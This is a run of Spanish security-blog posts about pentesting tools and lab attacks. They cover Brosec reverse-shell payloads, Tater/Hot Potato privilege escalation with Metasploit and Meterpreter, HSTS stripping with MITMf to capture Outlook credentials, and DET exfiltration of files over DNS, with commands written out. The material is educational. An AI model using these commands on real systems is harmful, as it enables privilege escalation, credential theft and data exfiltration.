31 jul 2016

Informe Flu - 264


Buenas a todos, como cada semana os traemos nuestros enlaces de la semana :)
 
Lunes 25 de Julio
Jueves 28 de Julio
  • El jueves os hablamos de Brosec: Una mochila para almacenar payloads y personalizarlos automáticamente. Brosec es una herramienta que permite utilizar y generar diferentes payloads en diferentes ambientes o escenarios. Es decir, cuando estamos en plena auditoria o pentesting podemos necesitar código ejecutable en distintas plataformas. Brosec reúne esos códigos o scripts necesarios para poder explotar debilidades y vulnerabilidades. Brosec está escrito en Nodejs y permite generar y configurar shells inversas en lenguajes como Python, Perl, Powershell, etcétera. Pero sin dejar de lado algunas otros payloads para web o, incluso, exfiltration data como pudimos ver en el pasado con DET. [...]

Saludos!

    28 jul 2016

    Brosec: Una mochila para almacenar payloads y personalizarlos automáticamente

    Brosec es una herramienta que permite utilizar y generar diferentes payloads en diferentes ambientes o escenarios. Es decir, cuando estamos en plena auditoria o pentesting podemos necesitar código ejecutable en distintas plataformas. Brosec reúne esos códigos o scripts necesarios para poder explotar debilidades y vulnerabilidades. Brosec está escrito en Nodejs y permite generar y configurar shells inversas en lenguajes como Python, Perl, Powershell, etcétera. Pero sin dejar de lado algunas otros payloads para web o, incluso, exfiltration data como pudimos ver en el pasado con DET.

    Instalación

    Brosec puede ser descargado desde su Github. Una vez descargado con git clone, necesita instalar una serie de dependencias para poder ser ejecutado correctamente. En primer lugar debemos ejecutar npm config set registry http://registry.npmjs.org. Posteriormente, se debe ejecutar npm install –g n. A posteriori, n latest. Para finalizar npm install y tendremos disponible la consola de Brosec. 


    Brosec tiene dos modos de ejecución, se le puede pasar por parámetro las acciones a realizar y se puede ejecutar, sin más, el binario y acceder a un menú dónde se nos indican diferentes acciones, tal y como se puede visualizar en la imagen. Las opciones que tenemos disponibles en Brosec son: Recopilación de información, Linux, Windows, Web y Miscelánea. 

    En la parte de recopilación de información nos podemos encontrar la posibilidad de crear código en distintas plataformas para recopilar información de un sistema. En el caso de Linux y Windows tenemos la posibilidad de crear código Powershell, Python, WMI, etcétera, con el fin de ejecutar y obtener beneficio en la máquina. En el caso del apartado Web, podemos generar payloads para SQLi y XXE. En miscelánea, podemos generar shells inversas en diferentes escenarios. El que quizá más me haya llamado la atención es el entorno AWK, el cual es una herramienta potente de sistemas GNU/Linux.


    Brosec tiene un apartado de configuración, al cual se puede acceder ejecutando config sobre la línea de comandos. Para poder configurar parámetros como LHOST, LPORT, RHOST, RPORT, PATH, USER se debe indicar set [parámetro] [valor]. Estos parámetros se utilizarán cuando Brosec genere Pyaloads que los necesiten. 


    Ejemplo: Creando payloads en Powershell

    Si elegimos la opción de plataforma Windows podemos ver diferentes opciones:
    System Info
    File System
    Networking
    WMIC
    Powershell
    Windows Registry

    Cada categoría genera acciones interesantes que se pueden ejecutar en esos ámbitos de Windows. Por ejemplo, si pulsamos sobre System Info podremos generar instrucciones o comandos útiles para obtener información en un sistema Windows. Esto también nos puede servir de biblioteca en un pentest. Hay que tener en cuenta que Brosec se encuentra en la versión 0.0.1, por lo que el proyecto está comenzando, pero ya dispone de una gran serie de acciones que se pueden generar y que pueden ayudar a un pentester en un proceso de pentesting.
     

    Para ver un ejemplo, si pulsamos sobre el 5 de Powershell podemos visualizar las opciones que nos ofrecen. Como podemos ver tenemos el código que debemos ejecutar en una Powershell, o lo que puede ser mejor, en un payload que ejecuta una Powershell, en Metasploit tenemos alguno. Las opciones que nos proporcionan pueden ser interesantes si queremos descargar algún script o funcionalidad concreta y no podemos meterla en el equipo de otra manera.


    Como se puede ver a continuación, tenemos un script o código creado. En este caso el código se descargará código en remoto del parámetro URI que le hayamos indicado. Esta funcionalidad es muy interesante, y se pudo comprobar con PSBot el poder que proporciona una Powershell a la hora de evadir AVs y la posibilidad de ejecutar código de forma dinámica.


    Ejemplo: Creando un HTTP Simple y FTP Fast

    En algunas ocasiones es necesario montar un servidor HTTP y un FTP. En el lenguaje Python se dispone de SimpleHTTP y con Brosec proporciona la forma de montar un servidor web de forma, casi, aún más sencilla. Para ver la facilidad de crear o disponer un servidor web y ftp se pueden ver las siguientes imágenes. Se invoca la aplicación bros y se pasa como parámetros http o ftp. En el caso del ftp se puede utilizar para la exilftración de datos en una organización.



    Ejemplo: Reverse Shells

    Generar código de shells inversas puede ser muy útil, por ejemplo para exiltrar datos o para proporcionar el control remoto de una máquina fuera de los dominios de la organización durante la realización del pentest. A continuación se muestran, como en el apartado Miscelánea, se pueden conseguir diferentes tipos de códigos, en distintos lenguajes, con el objetivo de crear sesiones inversas.


    Aparte de las shells inversas, podemos ver el código que se puede obtener para exfiltrar datos. Se utiliza python, principalmente. En algunos casos la herramienta genera instrucciones poco reales o poco usables. Si observamos en el caso 3 para descargar o subir un archivo vía SCP podría ser detectado por cualquier sistema de protección. Por otro lado, el uso de DET frente a Brosec como herramienta de exfiltración de datos no tiene ningún color. DET es bastante más poderosa. 


    En el apartado Web podemos encontrar payloads o instrucciones de ejecución para vulnerabilidades XML y SQL. Como se puede ver Brosec aporta cierto conocimiento y comandos e instrucciones que pueden ser útiles en un momento dado. El objetivo de la herramienta es personalizar los parámetros en los casos necesarios y aportar el conocimiento en un momento dato que sea necesario.



    25 jul 2016

    #Pastes, ¿cuántas páginas de pastes existen? Parte 3

    Buenas a todos, en el post de hoy de páginas de pastes continuaremos con una nueva entrada en la que compartiremos con vosotros 3 nuevos sitios de pastes que probablemente muchos no conozcáis, por tratarse de sites menos habituales si los comparamos con los típicos pastebin.com o pastie.org. Allá van y compartimos también nuestra lista actualizada, que se va viendo ampliada semana tras semana:





    Listado de pastes (parte 3)
    1. http://junpaste.it
    2. http://pastie.org/
    3. http://hastebin.com/
    4. http://pastebin.com
    5. http://paste.ubuntu.com
    6. http://dumptext.com/
    7. http://pasteguru.com
    8. http://wklej.se
    9. http://www.textsnip.com
    10. https://snipt.net/search/

    La semana que viene os traeremos más sitios de pastes nuevos :)

    Saludos!

    24 jul 2016

    Informe Flu - 263


    Buenas a todos, como cada semana os traemos nuestros enlaces de la semana :)
     
    Lunes 18 de Julio
    • El lunes iniciamos la semana hablando de Censys: El poder de la información en tu mano.
      Hace una semana hablábamos de OSINT y la importancia que puede tener en distintos ámbitos de la ciberseguridad. Footprinting en etapas tempranas de una auditoría, vigilancia digital, descubrimiento de amenazas o fugas de información son solo unos ejemplos de lo que se puede hacer con OSINT. En el artículo de este lunes os hablamos de Censys, una plataforma que nos ofrece un buscador, una API y la información en cruda para lo que necesitemos. ¿Qué ofrece Censys? Censys es una plataforma de la gente de scans.io, de los que ya hablamos en la charla de “Cómo los malos pueden conquistar el mundo”. Censys es un motor que permite realizar búsquedas que proporciona respuestas a los investigadores sobre los hosts y la red que compone Internet [...]
    Miércoles 20 de Julio
    Viernes 22 de Julio
    Saludos!

      22 jul 2016

      Tater & Hot Potato: Elevando privilegios en sistemas Windows

      A principios de año salía una de las vulnerabilidades del año denominada como Hot Potato. Como ya comentó mi compañero Sergio de los Santos en una explicación sobre la elevación de privilegios, Hot Potato consiste en encadenar 3 fallos de seguridad que desembocan en la escalada de privilegios. Un problema formado por tres partes que se encuentra muy arraigado a los sistemas Windows. La vulnerabilidad permite elevar privilegio en una máquina Windows 7, 8 y 10, con sus versiones servidor correspondiente. 

      Como se puede entender Hot Potato es una patata caliente para Microsoft y así se ha podido ver en estos seis meses. Haciendo un breve esquema del vector de ataque os presento este desglose:

      NBNS Spoofing en local. El propósito es conseguir que todas las peticiones NBNS pasen por nosotros, estando en local en dicha máquina. Inundaremos el host destino, en este caso es el local, con las respuestas NBNS con el objetivo de que el resto de procesos y servicios de la máquina obtenga nuestra dirección IP, 127.0.0.1. 
      Fake WPAD. Debemos montar un proxy falso con el nombre WPAD, que resuelva, conecte y proporcione el fichero .dat. Aquí mezclamos el ataque anterior, dónde se le dice a la máquina que el WPAD está en 127.0.0.1. Si la máquina Windows tiene configurada la detección automática de proxy, seremos su proxy local y las peticiones pasarán por nosotros.
      SMB NTLM Relay. En este punto tenemos todo montado para que servicios o procesos que utilicen HTTP para hacer autenticación NTLM, como podría ser Windows Update, se podrían reenviar a un proceso SMB de la máquina. Este proceso se encargará de ejecutar como SYSTEM, ya que parecen autenticados. En este punto se da la elevación. 

      Al poco tiempo de publicar una prueba de concepto de Hot Potato se liberó una implementación para Powershell, lo cual ayuda a la evasión de antivirus de forma casi natural. Esta implementación se denominó Tater y podéis encontrarla en su Github. En este artículo hablaremos de un escenario que podemos encontrar en muchos pentest:

      Máquina Windows 7 con aplicación vulnerable.
      Kali Linux con Metasploit y Tater descargado a través de su Github.

      La idea es ganar acceso sin privilegio en la máquina y poder utilizar Tater como “consola privilegiada” y poder conseguir un acceso total como SYSTEM a través de la generación y ejecución de un Meterpreter.

      PoC: Metasploit + Tater = Pwned!

      La vulnerabilidad de la aplicación que nos dará acceso sin privilegio a la máquina no es relevante, pero diremos que es Easy File Management Web Server. El Payload que utilizaremos es windows/powershell_reverse_tcp, el cual nos permite, una vez explotada la vulnerabilidad, obtener una Powershell remota con el privilegio del usuario del proceso comprometido. Para el ejemplo, el usuario será “sinPrivilegio”, un usuario creado en la máquina que solo pertenece al grupo usuarios de la máquina, no tiene ningún privilegio administrativo.

      En la siguiente imagen vemos como se configurar el atributo LOAD_MODULES. Este atributo está apuntando a http://192.168.56.103/Tater.ps1, esto es porque en esa dirección IP tenemos montado un servidor web con el script de Tater descargado de Github. Hay que decir que este script muestra diferentes funciones que después podremos utilizar a través de la Powershell obtenida. 


      Una vez obtenemos la sesión con la Powershell interactiva y el fichero de Tater.ps1 cargado podemos ejecutar la función Invoke-Tater. Esta función dispone de un parámetro denominado -command, el cual nos permite ejecutar la instrucción que queramos con privilegio, si la combinación de ataques tiene éxito. En la salida que la función Invoke-Tater nos proporciona es muy interesante ya que se puede ir leyendo las diferentes etapas del ataque.


      En este ejemplo se ha utilizado la instrucción Invoke-Tater -command “net localgroup administradores sinprivilegio /add”. Lo que estamos consiguiendo es que el usuario sinPrivilegio se inserte dentro del grupo administradores de la máquina, por lo que con dicho usuario tendremos privilegio administrativo.

      Podemos abrir un Meterpreter que nos simplifique ciertas operaciones como subida y descarga de archivos y ejecución de otros scripts. Para ello utilizamos la sesión creada con la Powershell interactiva y ejecutamos el comando sessions -u [ID sesión]. A través de la ejecución de post/multi/manage/shell_to_meterpreter conseguimos el Meterpreter en una nueva sesión. 


      Necesitamos generar un binario, o un script de Powershell o VBS, con el objetivo de que sea ejecutado a través de la invocación de Tater. Consiguiendo esto lograremos que el binario que creamos sea ejecutado por SYSTEM, por lo que nos devolverá un Meterpreter con el máximo privilegio en la máquina Windows. Para generar el binario utilizaremos el módulo payload/windows/meterpreter/reverse_tcp, tal y como se puede ver en la imagen. Tras configurar la dirección IP a la que el Meterpreter se conectará, generamos el fichero con la instrucción generate -t exe -f [ruta fichero].


      Volvemos a la sesión de Meterpreter a través de la ejecución sessions -i [ID sesión]. Como se puede ver en la imagen, podemos ejecutar el comando upload [origen] [destino] y conseguiremos subir el binario generado en el paso anterior. Lo dejamos en el escritorio del usuario sinPrivilegio.


      El siguiente paso es configurar el módulo exploit/multi/handler para recibir la conexión que creará el binario generado cuando sea invocado por Tater. La configuración del handler es sencilla, solo tenemos que indicarle el LHOST que será la dirección IP de la máquina Kali y ejecutar el comando exploit -j. El parámetro -j nos permite dejar el handler en background.


      Ahora volvemos a la sesión dónde tenemos abierta la Powershell interactiva y ejecutamos el comando invoke-tater -command “[ruta fichero EXE subido]”. Como se puede ver en la imagen obtendremos rápidamente una sesión nueva de Meterpreter. Si echamos un vistazo con el comando getuid de Meterpreter podemos observar que somos SYSTEM, por lo que, entre otras muchas cosas, podemos realizar un hashdump, tal y como se puede ver en la imagen.


      En este último paso ya hemos aprovechado de Hot Potato y su implementación de Tater para lograr ejecutar con el máximo privilegio y tener acceso y control total sobre la máquina. Interesante vulnerabilidad para lograr privilegios en una máquina Windows, ¿Tú ya la has utilizado en tu pentesting?

      18 jul 2016

      Censys: El poder de la información en tu mano

      Hace una semana hablábamos de OSINT y la importancia que puede tener en distintos ámbitos de la ciberseguridad. Footprinting en etapas tempranas de una auditoría, vigilancia digital, descubrimiento de amenazas o fugas de información son solo unos ejemplos de lo que se puede hacer con OSINT. En el artículo de hoy quería hablar de Censys, una plataforma que nos ofrece un buscador, una API y la información en cruda para lo que necesitemos. ¿Qué ofrece Censys? Censys es una plataforma de la gente de scans.io, de los que ya hablamos en la charla de “Cómo los malos pueden conquistar el mundo”. Censys es un motor que permite realizar búsquedas que proporciona respuestas a los investigadores sobre los hosts y la red que compone Internet. 

      Vamos a ver por separado qué tipo de información proporciona Censys y cómo podemos interactuar con ella. Censys recopila datos de equipos y sitios web a través de escaneos diarios con ZMap y ZGran sobre el espacio de direccionamiento de IPv4. Al final con Censys tenemos instantáneas con periodicidad de como los equipos y sitios web están configurados. Como he comentado anteriormente se puede interactuar a través de:

      - Buscador en la página web. 
      - API para integraciones de plugins.
      - Descargándose en modo “Raw data” las bases de datos, las cuales son ficheros JSON bastante grandes. Por ejemplo, en el caso de mi charla sobre “Cómo los malos pueden conquistar el mundo” descargaba un fichero JSON de más de 4,3 GB, el cual representaba todas las máquinas de IPv4 con el puerto 21 abierto y con banner grabbing realizado sobre la máquina. 


      Se puede encontrar mucha más información sobre la arquitectura sobre la que Censys se encuentra montado y sus funcionalidades en el paper que sus autores publicaron. Desde el Frontend web y la API se accede a diferentes elementos, Google Datastore, Elastic Search y Google BigQuery. Otra opción, comentada anteriormente, es la descarga de información en crudo a través de ficheros comprimidos que albergan un JSON. 


      Como se puede ver en la imagen la arquitectura de Censys es compleja y tiene el concepto de Worker, como nosotros tenemos en Faast. En el caso de Censys, el Worker realiza operaciones de fingerprinting a través de la ejecución de ZMap y ZGrab, reportando los resultados al elemento denominado Google Cloud Storage. 

      Si hacemos zoom en el scheduler, conceptualmente es el elemento de repartir el trabajo, podemos observar como los Workers se convierten en procesos de ZMap y ZGrab que realizan diferentes operaciones. En la imagen se puede ver como ZMap devuelve direcciones IP con puertos abiertos, y ZGrab puede obtener el Handshake completa. Una vez se “normalizan” los datos se almacenan en base de datos.


      Opciones del buscador

      Desde el propio buscador que hay en el sitio web podemos elegir qué tipo de búsqueda realizar, por ejemplo, si queremos realizar búsqueda sobre los resultados de los escaneos sobre sitios web podemos elegir la opción “Websites”. ¿Qué opciones tiene Censys? 


      - IPv4 Hosts. Esta opción permite realizar búsquedas sobre los hosts descubiertos con anterioridad. Tenemos la posibilidad de filtrar la búsqueda con los “fields”. Estos campos permiten realizar filtros al más puro estilo “Wireshark” o “TCPDump”. 
      - Websites. Esta opción permite realizar búsquedas sobre los equipos que se han catalogado como websites. De ellos se puede sacar información como: puertos abiertos, subdominios, visibilidad según el ranking de Alexa, etcétera. 
      - Certificates. Al igual que el proyecto de SSL Observatory realizaba un dumpeo de todos los certificados en IPv4, Censys proporciona dicha información. Como veremos más adelante se puede juntar esta información con tools proporcionadas por Censys con el fin de generar informes o reportes de interés. 


      Tools en Censys

      Al igual que Shodan dispone de diversas herramientas que aportan inteligencia a los datos recopilados como, por ejemplo, la posibilidad de descubrir exploits públicos para ciertos hosts con ciertas condiciones. Censys presenta varias herramientas para analizar la información que se ha recopilado previamente. 

      En el apartado de IPv4 Hosts podemos hacer la búsqueda “*”, por lo que obtendremos un volcado paginado de toda la información. Vemos una pestaña denominada Tools, en la que podemos elegir 3. Tenemos la posibilidad de consultar metadatos encontrados en los hosts, como por ejemplo el sistema operativo que corre en la máquina, la posibilidad de situar hosts en un mapa y verificar en qué zona se encuentran y la de construir un reporte. 


      En el caso del reporte podemos construir en base a unos parámetros históricos almacenados. A modo de ejemplo se selecciona el puerto 21, con servicio ftp y banner. Le indicamos el número máximo de buckets que queremos, indicando en este caso 25. 

      Podemos ver en la siguiente imagen como se construye el reporte en base a palabras que aparecen en el banner. Más de 15 millones de hosts respondieron en su banner con un “220” código de conexión con dicho servicio. Esto es un ejemplo sencillo, pero podemos ver la potencia que Censys puede otorgar en un análisis de los datos almacenados en la base de datos.


      More Censys: API & Raw Data

      Que una plataforma como Censys proporcione una API es algo fundamental. La posibilidad de crear plugins y aprovecharse del consumo de la información que Censys genera es fundamental. A través de su API este servicio proporciona una serie de opciones o endpoints. Además, existe una librería en Python para acceder a la API. 


      Por último, para mostrar la opción de “Raw Data” podemos descargar un fichero comprimido que alberga un JSON. Este JSON tiene que ser parseado y le aplicaremos la lógica que nosotros queramos o necesitemos. 

      Podemos fácilmente crearnos un script en Ruby o Python con el que parsear el fichero JSON e ir quedándonos con la información que necesitamos. En el siguiente script se puede ver cómo se va analizando y parseando el JSON. Se escoge el campo [‘log’][‘data’][‘response’] que corresponde con el campo dónde se almacena el banner de los FTP en este fichero. Se pasa una expresión regular para filtrar por ese tipo de software “matcheado” con banner grabbing. En el caso de que se matchee se almacena en un fichero. 


      Al final, Censys nos proporciona diferentes formas de procesar y analizar la información. Censys es una fuente de información interesante, que como hemos visto proporciona diferentes mecanismos para “jugar” con la información y construir cosas interesantes, ya sea un plugin de Faast, como aplicar inteligencia sobre los datos y cruzarla con exploits públicos como el caso de “Como los malos pueden conquistar el mundo”. 

      14 jul 2016

      #Pastes, ¿cuántas páginas de pastes existen? Parte 1

      Buenas a todos, en el post de hoy queremos comenzar una nueva cadena para generar un listado de las páginas de pastes o de pegado de contenidos existentes en Internet, al igual que ya hicimos tiempo atrás con nuestro listado de herramientas de seguridad y que podéis encontrar en nuestra página siguiente:


      Estas páginas son uno de los principales lugares donde acaban volcadas bases de datos, credenciales, y un largo etcétera de elementos, de los que ya hemos hablado largo y tendido:


      Para comenzar este listado, arrancaremos con 4 sitios web que hemos identificado, varios de ellos muy conocidos entre todos vosotros como Pastebin:













      ¿Cuáles más conocéis? Con todas las páginas que recopilemos colocaremos un enlace permanente en nuestro portal flu-project.com, para que podáis tenerlas identificadas en todo momento :)

      Saludos!

      10 jul 2016

      Informe Flu - 261


      Buenas a todos, como cada semana os traemos nuestros enlaces de la semana :)
       
      Lunes 4 de Julio
      • El lunes iniciamos la semana con Data Exfiltration Toolkit (DET): Extrayendo información corporativa. Cuando un auditor tiene una prueba de Data Exfiltration puede ser una tarea realmente divertida. En algunos procesos de hacking ético se solicita al proveedor que se intente sacar información del interior de una organización con el objetivo de comprobar que los sistemas implantados en la empresa para evitar la fuga de información por parte de un empleado funcionan. Lógicamente, el atacante siempre tendrá cierta ventaja, ya que hoy en día existen diversos canales y vías para extraer información, no pensemos solamente en el mundo físico con pendrives. La encapsulación de información dentro de protocolos comunes, o el uso de canales encubiertos pueden ser las vías más utilizadas para extraer información de una organización [...]
         
      Miércoles 6 de Julio
      Viernes 8 de Julio
      • El viernes os trajimos un nuevo artículo sobre HSTS: De la teoría a la prácticaEl HSTS, HTTP Strict Transport Security, es un mecanismo de seguridad web que permite asegurar que las conexiones que se realizan desde un navegador a un sitio web se realizan a través de TLS/SSL. En otras palabras, cuando un usuario quiere acceder a un sitio web cómo puede ser Gmail o Facebook, éste no introduce en la barra de direcciones URL “https://gmail.com” o “https://facebook.com”, sino que, generalmente el usuario introduce gmail.com o facebook.com. De esto se aprovechaba en el pasado el ataque SSL Strip diseñado por el famoso hacker Moxie Marlinspike [...]

      Saludos!

        8 jul 2016

        HSTS: De la teoría a la práctica

        El HSTS, HTTP Strict Transport Security, es un mecanismo de seguridad web que permite asegurar que las conexiones que se realizan desde un navegador a un sitio web se realizan a través de TLS/SSL. En otras palabras, cuando un usuario quiere acceder a un sitio web cómo puede ser Gmail o Facebook, éste no introduce en la barra de direcciones URL “https://gmail.com” o “https://facebook.com”, sino que, generalmente el usuario introduce gmail.com o facebook.com. De esto se aprovechaba en el pasado el ataque SSL Strip diseñado por el famoso hacker Moxie Marlinspike.

        A día de hoy, la mayoría de estos sitios de gran uso como puede ser Paypal, Gmail, Facebook, Twitter, Outlook, etcétera, utilizan la cabecera HSTS para que los navegadores que lo soportan, que a día de hoy son todos, sepan que cuando el usuario introduzca gmail.com, por ejemplo, se debe acceder a través de TLS/SSL. De este modo, nunca se realizará una petición HTTP a un dominio que permita HSTS. 

        Por otro lado, quedaba resolver la primera petición cuando se instala un navegador, es decir, si nosotros instalamos Firefox o Chrome, la primera vez que hiciéramos una petición a gmail.com, esta petición iría por HTTP hasta ser redirigido. Para resolver este mínimo problema, se habilitó una lista precargada, dónde al instalar un navegador, éste ya tiene una lista precargada de dominios a los que debe conectarse por HTTPs. 

        La cabecera que un servidor con HSTS habilitado nos devuelve tiene 3 partes: el max-age que es el tiempo en segundos de vida del HSTS en nuestro navegador para dicho dominio, Por ejemplo, si un dominio X nos devuelve en su cabecera Strict-Tansport-Security un max-age de 1.000.000 de segundos, esto quiere decir que durante el próximo millón de segundos, siempre que hagamos una petición al dominio X, nuestro navegador lo hará bajo HTTPs, aunque no lo indiquemos explícitamente. Otra parte es include subdomains, es decir si el servidor nos devuelve este campo querrá decir a partir del dominio hacia abajo se hará efectivo el HSTS. Por último, podemos recibir el valor preload.

        ¿Cómo podemos saber si un sitio devuelve HSTS?

        Para esta pequeña prueba utilizaremos la herramienta curl, con la que podemos realizar peticiones web y obtener las respuestas del servidor. En el primer ejemplo hacemos la consulta sobre Paypal:


        El servidor de Paypal nos devuelve la cabecera Strict-Transport-Security con el valor del max-age. Probando con Outlook encontramos una curiosidad. Tal y como se puede ver en la imagen el dominio que tiene HSTS es www.hotmail.com y no www.outlook.com. Realmente da igual, ya que se hacen varias redirecciones al acceder a Outlook, pero dominios como Outlook.com o login.live.com no devuelven la cabecera. 


        PoC: Usando MITMf para lanzar SSLStrip 2

        El investigador Leonardo Nve publicó la herramienta SSLStrip 2 o SSLStrip+, la cual es una evolución del SSLStrip de Moxie. Hoy en día la herramienta desarrollada por Leonardo fue añadida a un framework denominado MITMf. Este framework es muy completo ya que proporciona gran cantidad de plugins, todos ellos relacionados con ataques de red.

        El ataque se lanzará sobre una máquina Windows 7 en la que se acaba de instalar el navegador Firefox 44.0.2. Desde la línea de comandos lanzamos el script mitmf.py con los plugins de arp, dns, hsts e indicando a quién se debe envenenar, en este caso a un router y la máquina Windows.


        Si comprobamos la caché ARP de la máquina Windows veríamos que el envenenamiento de caché ha funcionado. Ahora toca comprobar qué dominios vienen precargados en el navegador. Por ejemplo, introduciendo sitios como gmail, facebook o twitter, el navegador directamente se ha conectado por HTTPs, por lo que el SSLStrip 2 no nos funciona. En el caso de Outlook vemos cómo empezamos a ver qué la herramienta MITMf comienza a trabajar y podemos ver el mensaje: “zapped a strict-transport-security header”, es decir, estamos en medio, hubo una primera petición por HTTP y el SSLStrip 2 se está encargando de zappear las headers HSTS. 

        Una vez vemos que está funcionando el ataque, si introducimos un usuario y contraseña en el login de Outlook lo podemos visualizar en la máquina Kali, tal y como se puede ver en la imagen inferior. Lo curioso de esto, es que en un navegador recién instalado gmail, facebook o twitter, vienen con HSTS precargado, pero en el caso de Outlook no. 


        Poc: Viajemos hacia el futuro

        El investigador José Selvi demostró como mediante un ataque al tiempo de los equipos podríamos hacer caducar las entradas HSTS en el navegador, por lo que se tendría que hacer de nuevo una petición por HTTP. Selvi llamó a esto ataque Delorean. Es cierto que conseguir cambiar el tiempo de una máquina remota no es sencillo, aunque depende un poco del caso. Selvi enseñó en una de sus charlas como en el caso de Ubuntu o Fedora se podía aprovechar el acceso de este sistema operativo a la red para interceptar la petición NTP que se genera. El protocolo NTP permite sincronizar los tiempos de una máquina. 

        Entonces, con un ataque ARP Spoofing básico, SSL Strip2 y Delorean podemos:
        - Colocarnos en medio de la comunicación.
        - Interceptar las peticiones NTP y modificarlas, por ejemplo diciendo al sistema que se encuentra en 2 o 3 años adelante. 
        - Visualizar las claves.

        Aparte de mantener la aplicación MITMf con la configuración anterior, habrá que lanzar la herramienta Delorean e incluir una regla en iptables. La regla en iptables es la siguiente: iptables –t nat –A PREROUTING –i [interfaz de red] –p udp –s [red origen] ! –d [red destino] –dport 123 –j REDIRECT –to-port 123.

        La máquina víctima es un Ubuntu, el cual podría ser echado de una red WiFi mediante un ataque de desautenticación. Otro ataque posible sería el de colocar una WiFi abierta y esperar a que un sistema Ubuntu se conectara. En ese instante, el sistema realizará una petición NTP que puede ser interceptada por nosotros y modificada con Delorean.


        Como se puede ver en la siguiente imagen correspondiente al sistema Ubuntu, el tiempo ha cambiado. Nos hemos ido al futuro, concretamente al año 2019, al mes de Enero. 


        Ahora, si desde Ubuntu accediéramos al navegador y navegásemos a dominios como Gmail o Facebook seríamos vulnerables y con SSLStrip 2 nos podrían robar las credenciales. En el caso de Twitter no, porque deberíamos viajar en el tiempo 20 años, ya que el max-age que la empresa del pájaro azul impone son más de 20 años. 

        En la siguiente imagen se puede ver como se accede a Gmail y no se está haciendo a través de HTTPs. Esto es debido a que las entradas HSTS caducaron en la caché del navegador y se realizó la petición por HTTP. Como mucha gente puede pensar, en un entorno real, esto haría saltar alarmas, ya que modificar 2 o 3 años la fecha de un equipo puede provocar que los certificados caduquen y salten alarmas en la máquina. 


        El HSTS es una medida a día de hoy bastante segura, y aunque existen técnicas para bypassearla, no es algo sencillo. Es cierto que hay muchos sitios, incluidos bancos, que no utilizan HSTS a día de hoy, pero cada vez van siendo más los que se decantan por la sencillez de HSTS y por el potencial que tiene. 

        4 jul 2016

        Data Exfiltration Toolkit (DET): Extrayendo información corporativa

        Cuando un auditor tiene una prueba de Data Exfiltration puede ser una tarea realmente divertida. En algunos procesos de hacking ético se solicita al proveedor que se intente sacar información del interior de una organización con el objetivo de comprobar que los sistemas implantados en la empresa para evitar la fuga de información por parte de un empleado funcionan. Lógicamente, el atacante siempre tendrá cierta ventaja, ya que hoy en día existen diversos canales y vías para extraer información, no pensemos solamente en el mundo físico con pendrives. La encapsulación de información dentro de protocolos comunes, o el uso de canales encubiertos pueden ser las vías más utilizadas para extraer información de una organización. 

        DET, Data Exfiltration Toolkit, es una herramienta que permite realizar Data Exfiltration utilizando uno o varios canales a la vez. La idea que está detrás de DET es la de disponer de una herramienta genérica que facilite encapsular información dentro de un protocolo o utilizar servicios de terceros, por ejemplo Gmail o Twitter, para extraer la información. DET puede ser descargado desde su sitio web en Github, dónde además podemos encontrar diversas pruebas de concepto muy interesantes. 

        En el artículo de hoy realizaremos una prueba de concepto de esta herramienta para ver cómo se puede sacar información de una red a través del uso de protocolos comunes. Para descargar DET se debe ejecutar git clone https://github.com/sensepost/DET.git, y posteriormente, ejecutar pip install –r requirements.txt –user. Esta última instrucción descargará e instalará todas las dependencias referentes a Python, que es el lenguaje en el que DET está implementado.

        PoC 1: Enviando un fichero a través del protocolo DNS con DET

        Las opciones que DET proporciona son realmente interesantes. Si se echa un vistazo rápido a las diversas opciones se puede observar las siguientes:
        • La posibilidad de configurar un fichero dónde se indican los parámetros que tanto el cliente y servidor deben conocer. Por ejemplo, el contenido se cifra con AES-256 a través de una clave que se indica en el fichero de configuración.
        • La opción de extraer un directorio o un fichero en concreto.
        • La posibilidad de indicar el plugin o listado de éstos que se quiere utilizar. Esto es útil si no queremos lanzar todos los plugins.
        • Los plugins disponibles en estas primeras versiones de DET son: HTTP, Google Docs, DNS, Gmail, TCP, UDP, Twitter o el protocolo ICMP. Además, existen unos scripts escritos para Powershell para llevar a cabo este tipo de técnicas desde entornos Microsoft.
        DET proporciona dos roles diferenciados. La máquina que se encuentre en el exterior de la organización hará las funciones de servidor y será el que espere recibir el fichero “robado” de la organización. Por otro lado, el rol cliente será el encargado de generar la conexión desde el interior y utilizar los diversos plugins para enviar el fichero o carpeta hacia el servidor. 

        Lo primero es hablar del fichero config.json. DET trae un json de prueba denominado config-sample.json, con el que se puede ver los diferentes protocolos, denominados plugins en este contexto, y las diferentes configuraciones de estos. 


        Como se puede visualizar en la imagen, en el caso del protocolo DNS, se puede utilizar haciendo peticiones al dominio pablo.com, a la dirección IP 192.168.56.103 y el puerto 53. El dominio, en este caso, se utiliza a modo de clave. Otra parte interesante del archivo config.json es el atributo AES_KEY, dónde se indica el valor de la clave AES que deben conocer tanto servidor como cliente para cifrar el contenido. Además, se puede ver un randomize entre el número de peticiones enviados, para intentar evitar que elementos de seguridad bloqueen o detecten el patrón. 


        Ahora, se procede a configurar el servidor en una máquina Linux. Para este caso sencillo, se utilizan los parámetros –L para indicar que el modo de ejecución es servidor, es decir, se recibirá el fichero “robado” en esta máquina. Se utiliza el parámetro –c para indicar la configuración de los plugins y cuál es la clave de cifrado utilizada. Y, por último, se añade el parámetro –p y se indica dns. Con esto se le dice al servidor que solo configure el plugin de DNS, que será el protocolo utilizado para enviar la información.


        Ahora, el cliente empleará el protocolo DNS para realizar queries del siguiente modo:
        • Query 1. [Contenido Cifrado].pablo.com.
        • Query 2. [Contenido Cifrado].pablo.com
        • Query N. [Contenido Cifrado].pablo.com.
        Para configurar esto se debe ejecutar la siguiente instrucción python det.py –c ./config.json –f [fichero a extraer de la organización] –p dns.


        Si analizamos con Wireshark la red podemos ver un gran número de queries repartidas en el tiempo y por bloques de bytes. El truco en este caso está en los subdominios utilizados junto al dominio pablo.com. En la siguiente imagen se puede ver una captura de queries que se envían hacia al servidor, cada subdominio es un “trozo” de fichero que el servidor se encargará de descifrar y procesar. 


        Una vez todo el fichero es enviado hasta el servidor, éste se encarga de recuperarlo, unirlo y descifrarlo. El resultado es el fichero original, pero ya fuera de los dominios de la organización. Por supuesto, existen medidas para detectar este tipo de comportamientos, pero son medidas de seguridad más avanzadas que las comunes. La utilización de protocolos para encapsular información y poder sacarla de una organización es una vía viable y muy efectiva, aunque por supuesto el éxito de la operación dependerá del tiempo necesario y las medidas de seguridad de las que conste la empresa. 


